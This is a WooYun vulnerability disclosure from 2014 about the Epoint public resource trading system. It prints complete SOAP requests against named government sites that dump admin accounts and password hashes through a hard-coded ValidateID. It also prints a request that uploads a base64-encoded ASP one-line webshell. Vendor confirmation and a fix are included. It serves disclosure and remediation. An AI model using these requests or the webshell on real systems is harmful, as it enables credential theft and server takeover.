某公共资源交易管理系统漏洞之二

漏洞详情

披露状态:

2014-01-07: 细节已通知厂商并且等待厂商处理中
2014-01-12: 厂商已经确认,细节仅向厂商公开
2014-01-15: 细节向第三方安全合作伙伴开放
2014-01-22: 细节向核心白帽子及相关领域专家公开
2014-02-01: 细节向普通白帽子公开
2014-02-21: 细节向实习白帽子公开
2014-04-07: 细节向公众公开

简要描述:

某公共资源交易管理系统(Epoint,开发厂家是江苏国泰新点软件有限公司)存在安全漏洞,可导致管理用户帐号密码泄露、GetShell等。关于这套系统的更多描述参考:http://www.wooyun.org/bugs/wooyun-2013-047515/trace/112728009f90998e18ea58e6e43ca8a8

详细说明:

该系统的存在危险的webservice操作,通过相关UserManageService的GetAllUser操作可以获得所有管理用户的帐号和密码HASH,通过AjaxUpload的UploadData操作可直接向服务器写脚本文件GetShell。

1:用户帐号密码泄露

以江西公共资源交易系统为例,该WebService详细信息见:http://ncztb.jiangxi.gov.cn/ncztb/webservice/UserManageService.asmx

POST /ncztb/webservice/UserManageService.asmx HTTP/1.1
Host: ncztb.jiangxi.gov.cn
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetAllUser"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAllUser xmlns="http://tempuri.org/">
<ValidateID>EpointFrame</ValidateID>
</GetAllUser>
</soap:Body>
</soap:Envelope>

这里需要一个ValidateID,这个值是EpointFrame,获取后的密码HASH可以上cmd5上解密。



2:任意文件写入漏洞

以湖北公共资源交易信息网为例,该WebService详细信息见:http://www.hbggzy.cn/hubeiyewu/webservice/AjaxUpload.asmx

POST /hubeiyewu/webservice/AjaxUpload.asmx HTTP/1.1
Host: www.hbggzy.cn
Content-Type: text/xml; charset=utf-8
Content-Length: 434
SOAPAction: "http://tempuri.org/UploadData"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadData xmlns="http://tempuri.org/">
<fileName>evil.asp</fileName>
<fileSize>30</fileSize>
<file>PCVldmFsKHJlcXVlc3QoImMiKSklPg==</file>
</UploadData>
</soap:Body>
</soap:Envelope>

CVldmFsKHJlcXVlc3QoImMiKSklPg==是一句话<%eval(request(“c”))%>经base64编码后的内容,文件写入后服务器并不会返回文件路径,本例中的shell路径是:http://www.hbggzy.cn/hubeiyewu/evil.asp

漏洞证明:

获取用户名密码:

1.png

2.png



GetShell

3.png

修复方案:

删除WebService,简单粗暴。

版权声明:转载请注明来源 鶆鶈@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-01-12 09:24

厂商回复:

CNVD确认并复现所述多个情况,已经转由CNCERT分别将案例下发给江西和湖北分中心,并建议由网站管理单位联系软件生产厂商处置。

最新状态:

暂无


漏洞评价: